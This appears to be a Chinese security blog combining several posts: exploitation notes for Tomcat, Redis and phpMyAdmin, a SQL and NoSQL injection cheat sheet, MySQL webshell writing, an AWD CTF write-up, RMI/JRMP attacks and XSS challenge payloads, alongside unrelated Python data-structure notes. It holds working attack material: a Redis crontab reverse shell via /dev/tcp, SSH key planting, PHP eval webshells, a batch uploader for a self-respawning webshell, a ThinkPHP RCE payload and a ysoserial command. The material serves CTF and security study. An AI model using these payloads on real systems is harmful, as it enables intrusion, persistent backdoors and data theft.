/bin/sh | nc 127.0.0.1 1234

tomcat常见漏洞

Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）

/conf/web.xml 文件中的readonly为false

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

之后就可以通过PUT方式上传文件，但是 .jsp 的后缀会被限制

绕过方式：

Windows文件名加空格 PUT /x.jsp%20 HTTP/1.1 上传之后在Windows下空格会被去掉
NTFS流， PUT /x.jsp::$DATA HTTP/1.1
/在文件名中是非法的，也会被去除（Linux/Windows) PUT /x.jsp/ HTTP/1.1

tomcat 后台部署war包漏洞

tomcat-users.xml 修改配置

<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="tomcat" password="admin" roles="manager-gui,admin-gui"/>
<user username="both" password="admin" roles="tomcat,role1"/>
<user username="role1" password="admin" roles="role1"/>

之后访问到 http://127.0.0.1:8080/manager

写一个shell.jsp，打包之后改名为war包上传即可getshell(也可以用msf生成一个war包)

tomcat目录遍历

web.xml 中如果 listings 参数为true，导致目录遍历漏洞

redis常见漏洞

给你一个未授权访问redis，你能做啥？

redis写shell

config set dir /var/www/html
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

写crontab反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

写ssh-keygen公钥

在以下条件下，可以利用此方法

Redis服务使用ROOT账号启动
服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。

ssh-keygen -t rsa 生成一对公私钥

然后redis执行命令，注意写入的公钥必须要前后分别加个换行

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

主从复制

phpmyadmin常见漏洞

本地文件包含

参考

https://xz.aliyun.com/t/256#toc-2

https://paper.seebug.org/975/

SQL注入总结

Tue, 17 Mar 2020 00:00:00 GMT

常用的绕过手段

字符型过滤单引号

字符串转换函数绕过

char()

十六进制数绕过

过滤=

between, like, <, >，regexp 绕过

1 union select 1, table_name from information_schema.tables where table_name = 'users'

select 1, table_name from information_schema.tables where table_name between 'u' and 'v';

select 1, table_name from information_schema.tables where table_name like 'u%';

注释符

# %23
-- 后面要加空格
/**/ 只加前半个也行
;%00 Nullbyte
` Backtick

过滤逗号

在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join(连接表的查询结果)

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

mysql> SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e);
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
1 row in set (0.00 sec)

使用like

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

mysql> select user() like 'r%';
+------------------+
| user() like 'r%' |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)

对于 limit 可以使用 offset绕过

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

<，>被过滤

greatest函数绕过

greatest(a,b)，返回a和b中较大的那个数

# 猜解user()第一个字符的ascii码是否小于等于150时
ascii(mid(user(),1,1)) <= 150
=greatest(ascii(mid(user(),1,1)), 150)=150;

过滤and，or可以使用&&和||

单引号逃逸

# 用户名为username
SQL> select * from db where name='username\' and passwd=' or 1=1#

注释符

# %23
-- 后面要加空格
/**/ 只加前半个也行
;%00 Nullbyte
` Backtick

过滤select

利用数值计算盲注或时间盲注

|| ascii(mid(user(),1,1) ) = 97 %23

绕过 information 被过滤

MySQL 5.7之后的版本，在其自带的 mysql 库中，新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ，则会在这两张表中记录表、键的信息。
如果waf掉了information我们可以利用这两个表注入数据库名和表名。
参考聊一聊bypass information_schema

MySQl5.7的新特性

sys.schema_auto_increment_columns 该视图的作用简单来说就是用来对表自增ID的监控。
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

盲注

延时注入

数据库如下

mysql> select * from user;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | zz       | 25ed1bcb423b0b7200f485fc5ff71c8e |
+----+----------+----------------------------------+
1 row in set (0.00 sec)

测试

mysql> select password from user where id=1 and  (select hex(substr(database(), 1,1)) > 20) and sleep(2);
Empty set (2.00 sec)

mysql> select password from user where id=1 and  (select hex(substr(database(), 1,1)) > 89) and sleep(2);
Empty set (0.00 sec)

我们这么来理解多语句的and

数据库会每次取出一行数据，然后做判断，首先 id=1 成立，然后判断(select hex(substr(database(), 1,1)) > 20)

如果这个成立，就会执行接下来的 sleep(2) 如果不成立，那么直接over了。不会有延时

order by 注入

order by 后的数字可以作为一个注入点

报错注入

mysql> select * from flag order by 1 and (updatexml(1,concat(0x7e,(select user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

时间盲注

select * from flag order by 1 and if(1=1,sleep(3), NULL);

limit 注入

在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的。

报错注入

mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

时间注入

select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue (rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

无列名注入

例题链接

过滤了空格和or，并且没办法绕过过滤or

同时不知道列名

payload: 1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

这样在不知道列名的情况下，就可以给每一列取一个别名了

mysql> select 1,2,3 union select * from user;
+---+-------+--------+
| 1 | 2     | 3      |
+---+-------+--------+
| 1 | 2     | 3      |
| 1 | admin | mysql  |
| 2 | hhh   | 123    |
| 3 | aaaaa | cccccc |
+---+-------+--------+
4 rows in set (0.00 sec)

查询

mysql> select group_concat(b) from (select 1,2,3 as b union select * from user)a;
+--------------------+
| group_concat(b)    |
+--------------------+
| 3,mysql,123,cccccc |
+--------------------+
1 row in set (0.00 sec)

查询两列数据

select concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a;

查询一行数据

select `2` from (select 1,2,3 union select * from users)a limit 1,1;

无列名注入参考

使用join进行无列名注入

这样就能依次把列名都爆出来了

mysql> select * from user;
+---------+-----------+-----------+
| user_id | user_name | user_pass |
+---------+-----------+-----------+
|       1 | admin     | mysql     |
|       2 | hhh       | 123       |
|       3 | aaaaa     | cccccc    |
+---------+-----------+-----------+
3 rows in set (0.00 sec)

mysql> select*from (select * from user as a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'user_id'
mysql> select*from (select * from user as a join user b using(user_id))c;
ERROR 1060 (42S21): Duplicate column name 'user_name'

nosql注入

以mongodb为例

db.collection.find(query, projection)
//query 可选，使用查询操作符指定查询条件
//可选，使用投影操作符指定返回的键。查询时返回文档中所有键值， 只需省略该参数即可（默认省略）
举例：
//查找username为JrXnm的信息
db.user.find({'username':'JrXnm'})

第一种是按照语言的分类：php数组注入、js注入、mongo shell拼接注入。

第二种是按照攻击机制分类：永真式、联合查询、Js注入、盲注等。

PHP永真式注入

$data = array(
    'username' =>  $_REQUEST['username'],
    'password' =>  $_REQUEST['password']
); 
$cursor = $collection->find($data);

但是由于php松散结构的特性，如果我们_GET传入的是数组那么，会自动被解析成字典。比如我们输入?username[$ne]=1&password[$ne]=1，就会被解析成：

{
    'username': {
        '$ne': '1'
    },
    'password': {
        '$ne': '1'
    }
}

这样就能查询到所有用户信息

Js注入

$collection = $db->users;
$query_body ="
        function q() {
            var username = '".$_REQUEST["username"]."';
            var password = '".$_REQUEST["password"]."';if(username == 'secret_user'&&password == 'secret_password') return true; else{ return false;}}
"; 
$result = $collection->find(array('$where'=>$query_body));
$count = $result->count();
if($count>0){
    echo $doc_succeed->saveHTML();
}

$where操作符表示执行其中的Js内容，返回True的话返回所有内容。

我们可以看到我们可以注入使得Js代码提前返回True

payload：?username=qwer&password= 1';return true;var qwer='1

MySQL利用方式

写shell

联合查询写shell

UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23

非联合查询写shell

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23

使用日志写shell

set global general_log = on;
开启日志监测，一般是关闭的，如果一直开，文件会很大的。

set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。

select ‘<?php eval($_POST[‘shiyan’]);?>’;
查询一个一句话，这个时候log日志里就会记录这个。

set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后，再修改为原来的路径。

set global general_log = off;
关闭下日志记录。

延时注入写shell

select sleep(2),'<?php @eval($_POST[cmd]); ?>' into outfile 'd:\\success.txt';

python数据结构

Tue, 17 Mar 2020 00:00:00 GMT

补充一个小知识

python 输入重定向为文件



sys.stdin = open("test.txt")

之后就可以直接从文件读入，不需要手动输入了

链表

实现链表
输入
1 3 5 4 1 9 4 
将其存储为链表格式

链表数据结构：

class ListNode:
    def __init__(self, x=-1):
        self.val = x
        self.next = None

创建链表，返回头节点 (尾插法)

def creat_list(line:list) -> ListNode:
    root = ListNode()
    tail = root
    for i in line:
        temp = ListNode(i)
        tail.next = temp
        tail = tail.next  
    return root.next

遍历链表

def traverse_list(root:ListNode):
    '''
    遍历链表，没有头节点
    '''
    temp = root
    while temp:
        print(temp.val+" ",end="")
        temp = temp.next
    print()

删除倒数第n个节点，一次遍历

用两个指针指向，第一个指针先走 n+1 步，中间空出n个节点，然后删除即可

def removeNthFromEnd(head:ListNode, n:int)->ListNode:
    '''
    一次遍历算法
    '''
    new_head = ListNode(-1)
    new_head.next = head
    first = new_head
    second = new_head
    for i in range(n+1):
        first = first.next    
    while first != None:
        first = first.next
        second = second.next
    second.next = second.next.next
    return new_head.next

向右旋转链表

就是把单链表组成一个循环链表

def rotateRight(head:ListNode, k:int)->ListNode:
    '''
    针对链表进行旋转
    '''
    if k == 0:
        return head
    if head == None:
        return head
    temp = head
    length = 0
    while temp.next != None:
        length += 1
        temp = temp.next
    length += 1
    temp.next = head
    temp = head
    for i in range((length - k%length -1)):
        temp = temp.next
    new_head = temp.next
    temp.next = None
    return new_head

图

创建图

采用邻接表进行存储， ArcNode 代表邻接点， VNode 代表边节点

class ArcNode:
    def __init__(self,adjvex, weight):
        self.adjvex = adjvex
        self.weight = weight
        self.next = None
class VNode:
    def __init__(self):
        self.next = None

输入数据

读入数据，创建邻接矩阵

def create_table()->list:
    m,n = [int(i) for i in input().split()] # 自动解包
    A = [0 for i in range(m)]
    for i in range(m):
        A[i] = [int(j) for j in input().split()]
    return A

邻接矩阵转换为邻接表

def create_Adj(A)->list:
    '''
    邻接矩阵转换为邻接表
    '''
    G = [VNode() for i in range(len(A))]
    for i,vex in enumerate(A):
        # 第i个节点，及其所有的边
        for node,j in enumerate(vex):
            if j != 0:
                p = ArcNode(node, j)
                p.next = G[i].next
                G[i].next = p
    return G

打印邻接表

def disp_adj(G):
    for index,i in enumerate(G):
        p = i.next
        print(index, end="")
        while p != None:
            print(" {}->".format(p.adjvex), end="")
            p = p.next
        print()

深度优先搜索

visited = [0 for i in range(4)]
def DFS(G, v):
    '''
    深度优先搜索
    '''
    visited[v] = 1
    print(v, end="")
    p = G[v].next
    while p != None:
        w = p.adjvex
        if visited[w] == 0:
            DFS(G,w)
        p = p.next
    print()

广度优先搜索

def BFS(G, v):
    '''
    广度优先搜索
    '''
    q = Queue()
    visited = [0 for i in range(len(G))]
    print(v,end="")
    visited[v] = 1
    q.put(v)
    while not q.empty():
        w = q.get()
        p = G[w].next
        while p!=None:
            if visited[p.adjvex] == 0:
                print(p.adjvex, end="")
                visited[p.adjvex] = 1
                q.put(p.adjvex)
            p = p.next
    print()

Dijkstar 算法

def Dijkstra(A, v):
    '''
    Dijkstar 算法
    '''
    for i in A:
        for index,value in enumerate(i):
            if value == -1:
                i[index] = sys.maxsize
    
    dist = A[v] # 原始v到各个顶点的距离

    path = [0 for i in range(len(A))] 
    for i in range(len(A)):
        if A[v][i] != -1:
            path[i] = v
        else:
            path[i] = -1

    s = [0 for i in range(len(A))]
    s[v] = 1

    for i in range(len(A)):
        mindis = sys.maxsize
        # 寻找最小路径长度顶点u
        for j in range(len(A)):
            if s[j] == 0  and dist[j] < mindis:
                u = j
                mindis = dist[j]
        
        s[u] = 1
        for j in range(len(A)):
            if s[j] == 0:
                if A[u][j] < sys.maxsize and dist[j] > 0 and dist[u]+A[u][j] < dist[j]:
                    dist[j] = dist[u] + A[u][j]
                    path[j] = u
    return path, dist

thinkphp6.0漏洞分析

Tue, 17 Mar 2020 00:00:00 GMT

通过session写文件

漏洞点位于：/think/session/Store.php

/**
 * session_id设置
 * @access public
 * @param string $id session_id
 * @return void
 */
public function setId($id = null): void
{
    $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

针对sessionid的校验不严

之后初始化session

保存session的过程： think/session/Store.php

/**
 * 保存session数据
 * @access public
 * @return void
 */
public function save(): void
{
    $this->clearFlashData();

    $sessionId = $this->getId();

    if (!empty($this->data)) {
        $data = $this->serialize($this->data);

        $this->handler->write($sessionId, $data);
    } else {
        $this->handler->delete($sessionId);
    }

    $this->init = false;
}

进入到 write 函数写入

最后存储到文件中

这样，如果我能控制session的数组中的某个值，就能直接写入shell

成功写入：

6.0 POP链分析

入口

进入 save 函数

继续步入

进入到 cleanContents 函数，直接返回原值(没有过滤因为不是多维数组)

public function cleanContents(array $contents)
{
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}

跟进 set 函数，这里的 $this->store 已经被覆盖为 File 类

最后有两个利用方式：

protected function serialize($data): string
{
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this->options['serialize'][0] ?? "\Opis\Closure\serialize";

    return $serialize($data);
}

利用伪协议任意文件写入

apache配置文件简单记录

Sat, 14 Mar 2020 00:00:00 GMT

一直不太清楚apache的配置文件，简单记录一下

/etc/apache2 下的文件

apache2.conf 是主配置文件，之后的 available 代表可用的, enable 代表已经启用的

sites-enabled 下

000-default.conf 文件规定了网站根目录

<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

/etc/apache2/mods-enabled /mime.conf 中配置了可以解析的文件类型

这样就能解析 php5 等的后缀了

星盟3月AWD比赛

Sat, 14 Mar 2020 00:00:00 GMT

又双叒叕的打了一次AWD比赛，简单地总结一下

web2

直接读flag

最开始放了web2，ssh连上去，d盾没扫出什么东西

然后开始一个个看(现在都流行不放shell，直接给flag的2333)

丢给群里的其他师傅开始写批量



port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480]
url = 'http://ip:{port}/login.php'
for i in port:
    r = requests.get(url=url.format(port=str(i)))
    if r.status_code == 200:
        try:
            print(re.findall(r"(flag{.*})",r.text)[0])
        except IndexError:
            pass

批量交flag(后来发现平台有设置csrf token。导致无法批量交。)

send_url = 'http://ip:8001/api/v1/challenges/attempt'
cookie = {'Cookie': 'session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2'}
for flag in submit_flag:
    data = {"challenge_id":2,"submission":flag}
    requests.post(url=send_url,data=data,cookies=cookie)

最后合并为十分钟交一次



from time import sleep
while True:
    port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480]
    url = 'http://ip:{port}/login.php'
    submit_flag = []
    for i in port:
        r = requests.get(url=url.format(port=str(i)))
        if r.status_code == 200:
            try:
                submit_flag.append(re.findall(r"(flag{.*})",r.text)[0])
            except IndexError:
                pass
    
    send_url = 'http://ip:8001/api/v1/challenges/attempt'
    cookie = {'Cookie': 'session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2'}
    for flag in submit_flag:
        data = {"challenge_id":2,"submission":flag}
        req = requests.post(url=send_url,data=data,cookies=cookie)
        if 'incorrect' not in req.text:
            print('提交正确')
    sleep(600)

ps.赛后师傅说并没有换cookie，用下面的代码就能批量交。

后台任意文件上传

看到 test.sql 中是有用户名和密码的，登录之后有上传点

黑名单只有这几个。。而且htaccess还写错了，php5,php7,phtml也都没有过滤，不过上传之后还是会重命名，算是也过滤了 .htaccess

$black_list = ["ini","htacces","php","ph3","html"];
$ext=pathinfo($name)['extension'];
$ext =strtolower($ext);

web3

md文件解析漏洞

这个web套路好深2333

d盾可以扫到一个shell，但是是在markdown文件中，还有一个是库中的回调函数

最开始以为是d盾误报，结果后来看了一眼 .htaccess

AddType application/x-httpd-php .html .md

居然将markdown文件解析为php….这个思路挺强的

但是由于发现的比较晚，貌似都修好了

ping命令执行

function waf($str){
    $str=str_replace(' ','',$str);
    $str=str_replace(';','',$str);
    $str=str_replace('|','',$str);
    return $str;
}
function ping($host){
    $host=waf($host);
    var_dump($host);
    system("ping -c 1 $host");
}

if(isset($_REQUEST[1]))
    ping($_REQUEST[1]);

这个命令执行倒是挺简单的， &cat</flag 即可



port = [30180,30280,30680,30780,30980,31180,31280,31380,31480,31580,31780,31880,31980,32080,32180,32280,32380,32480,31080,30580,30380,30480,30880,31680]
url = 'http://ip:{port}/common/function.php?1=&cat</flag'
for i in port:
    r = requests.get(url=url.format(port=str(i)))
    try:
        print(re.findall(r"(flag{.*})",r.text)[0])
    except IndexError:
        pass

后台文件上传

审计源码发现 admin, admin 即可登陆

然后有文件上传点，直接传shell.md即可解析

事后写了一个批量上传不死马的脚本



bs_webshell = """<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '%s';
    $code = '<?php if($_POST["pass"]=="%s"){@eval($_POST[1]);}?>';
    while (1) {
        file_put_contents($file, $code);
        system('touch -m -d "2018-12-01 09:10:12" %s');
        usleep(50);
    }
?>"""
secret = "pxy"
shell_path = ".pxy.php"

def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()
def generateShell(ip):
    pwd = md5_hash(secret + ip)
    shell = bs_webshell % (shell_path, pwd, shell_path)
    print(shell)
    return shell

def checkShell(ip,shell_path):
    url = 'http://%s/%s' % (ip, shell_path)
    try:
        res = requests.get(url, timeout=3)
    except:
        pass
    pwd = md5_hash(secret + ip)
    res = requests.post(url, data={'pass': pwd, '1': 'echo(123);'})
    print(res.text)
    if res.text == '123':
        print('[+]'+ip,'Check OK')

ports = [30180,30280,30380,30480,30580,30680,30780,30880,30980,31080,31180,31280,31380,31480,31580,31680,31780,31880,31980,33080,32180,32280,32380,32480]
ip = "127.0.0.1"

for i in ports:
    files = {"pic":('shell.md', generateShell(ip), 'application/octet-stream')}
    cookies = dict(PHPSESSID='fjue55il5q0v90fp8l66us6hq0')

    url = "http://"+ip+":"+str(i)

    url_upload = url+"/index.php?c=User&a=upload"
    r = requests.post(url=url_upload,files=files, cookies=cookies)
    if b"successfully" in r.content:
        print("[+]"+ip+":"+str(i)+" upload success")
    
    url_1 = url + "/upload/admin_shell.md"

    try:
        r = requests.get(url_1,timeout=2)
    except requests.exceptions.ReadTimeout:
        checkShell(ip, "upload/.pxy.php")

后来研究发现，其实文件上传不仅仅是

/index.php?c=User&a=upload

也可以

/index.php?c=File&a=save

因为 index.php 是这样写的

$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);

URL格式为：

http://localhost/index.php?c=User&a=home

就是可以调用任意类的任意方法

ps比赛的时候我们是这么想的：

看到 base.php 中实例化了 Smarty

之后看到这里有一处eval。

于是就开始想能不能getshell，但是无果。

后台getshell

感谢a2u13师傅

还是接前面的分析，可以执行任意类的任意方法。但是那个地方是字符串拼接！。

所以可以直接通过 ; 进行命令注入

File类需要登陆才能使用，换一个 User类就行

比赛的时候确实没往这块想，还是要加强代码审计啊

反序列化漏洞

<?php

class home{
    
    public $method;
    public $args;
    function __construct($method, $args) {
        
      
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        var_dump($this->method);
        ($this->method)($this->args);
    } 

}
     $a=$_REQUEST['a'];
    @unserialize($a);
    
     ?>

看上去挺像反序列化的，但是

($this->method)($this->args);

这里是报错的，所以比赛的时候没法利用

复盘的时候才意识到原来只有php7才可以这么用

经过测试发现只能直接动态调用system函数，eval和assert都是不行的

web1

web1是最后放出来的，为了提高挑战性不给ssh密码。

但是稍微看两眼就会发现是tp5.0写的，还开了debug，于是直接RCE了



port = [10180,10280,10380,10480,10580,10680,10780,10880,10980,11080,11180,11280,11380,11480,11580,11680,11780,11880,11980,12080,12180,12280,12380,12480]
url_flag = 'http://ip:{port}/public/index.php?s=captcha'
data = {'_method':'__construct',
        'filter[]':'system',
        'method':'get','get[]':'cat /flag'}
for i in port:
    r = requests.post(url=url_flag.format(port=str(i)),data=data)
    if r.status_code == 200:
        try:
            print((re.findall(r"(flag{.*})",r.text)[0]))
        except IndexError:
            pass

这一波flag还是挺舒服的，但是遗憾的是没法修啊。。

不过后来意识到可以直接将 /var/www/html 下的文件打包下载，还可以自己往里面写shell然后蚁剑连接进行修改。

RMI入门

Thu, 12 Mar 2020 00:00:00 GMT

基础知识

RMI（Remote Method Invocation）为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中,它的底层是由socket和java序列化和反序列化支撑起来的。

Java RMI：Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

我们知道远程过程调用（Remote Procedure Call, RPC）可以用于一个进程调用另一个进程（很可能在另一个远程主机上）中的过程，从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步，即提供分布式对象间的通讯。

如何找到类？

类似DNS中域名和IP的对应关系，RMI中有一个 RMIRegistry 来提供这种对应关系，客户端通过访问 RMIRegistry 来获得对应的类进行加载

数据是如何传递的？

当客户端通过RMI注册表找到一个远程接口的时候，所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候，方法的参数对象会在序列化之后，传输到服务器端。服务器端接收到之后，进行反序列化得到参数对象。并使用这些参数对象，在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后，再发送回客户端。客户端再经过反序列化之后得到Java对象，返回给调用者。这中间的序列化过程对于使用者来说是透明的，由动态代理对象自动完成。

所以客户端并不是直接和服务端进行通信的，而是由客户端代理和服务端代理进行通信

如下图：RMI服务器在 RMIRegistry 中进行注册，客户端去查找，然后再进行RMI调用

示例

Hello接口




public interface Hello extends Remote{
    public String hello() throws RemoteException;
}

对应的实现





/**
 * @description: Hello实现
 * @author: Pxy
 * @create: 2020-03-12 22:15
 **/
public class RemoteHello extends UnicastRemoteObject implements Hello{
    protected RemoteHello() throws RemoteException {
        super();
    }
    public String  hello() throws RemoteException {
        return "hello";
    }
}

创建一个服务端







/**
 * @description: RMI服务器
 * @author: Pxy
 * @create: 2020-01-20 08:45
 **/
public class RMIServer {
    public void start() throws Exception{
        RemoteHello h = new RemoteHello();

        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        RMIServer rmiServer = new RMIServer();
        rmiServer.start();

    }
}

客户端进行访问



/**
 * @description: RMI客户端
 * @author: Pxy
 * @create: 2020-01-20 08:57
 **/
public class TrainMain {

    public static void main(String[] args) throws Exception {
        Hello hello = (Hello) Naming.lookup("rmi://127.0.0.1/Hello");
        System.out.println(hello.hello());

    }
}

（最好能放在两个不同的文件夹

抓包看一些通信的数据

看到 return data, aced 就是java序列化后的标志

攻击RMI服务端

这里用的java7

JRMP

Java远程方法协议（英语：Java Remote Method Protocol，JRMP）是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用（RMI）之下、TCP/IP之上的线路层协议（英语：Wire protocol）。

通俗点解释，它就是一个协议，一个在TCP/IP之上的线路层协议，一个RMI的过程，是用到JRMP这个协议去组织数据格式然后通过TCP进行传输，从而达到RMI，也就是远程方法调用

由于JRMP协议在传输过程中的数据是序列化后的，不管是服务端还是客户端，当接收到JRMP协议数据时，都会把序列化的数据进行反序列化的话，这样就可以互相对打

示例：

创建一个 RMI 服务：




/**
 * @description: 创建一个RMI服务
 * @author: Pxy
 * @create: 2020-03-22 15:18
 **/
public class App {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while(true);
    }
}

在这个服务器上(其实都是在本地，只是区分一下)，存在有漏洞的Apache Common Collections库，那么就可以直接用

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 calc.exe

参考

RMI入门

一篇写的很清楚的文章

XSS学习记录

Tue, 10 Mar 2020 00:00:00 GMT

XSS挑战

(突然发现这个平台有bug，只需要在控制台alert(1)即可。。)

level1

http://test.ctf8.com/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

level2

没有找到和</h2><script>alert(1)</script><h2>相关的结果.

但是

<h2 align=center>没有找到和<scRipt>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword  value="<scRipt>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form>

payload

"><script>alert(1)</script>"

level3 js事件绕过

这次两个都被转义了

<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword  value='<script>alert(1)</script>'> <input type=submit name=submit value=搜索 /> </form>

那就不用

'onmouseover='alert(1)

提交之后鼠标悬浮到上面即可触发

level4

<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword  value="scriptalert(1)/script"> <input type=submit name=submit value=搜索 /> </form>

同样的绕过

" onmouseover="alert(1)

level5 a标签绕过

<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword  value="<scr_ipt>alert(1)</script>"> <input type=submit name=submit value=搜索 /> </form>

但是现在会被过滤

<input name=keyword  value="'o_nmouseover='alert(1)">
<input type=submit name=submit value=搜索 />
</form>

那么事件不能用了

payload

"><a href="javascript:alert(1);">aaa</a>

<form action=level5.php method=GET> <input name=keyword  value=""><a href="javascript:alert(1);">aaa</a>"> <input type=submit name=submit value=搜索 /> </form>

level6

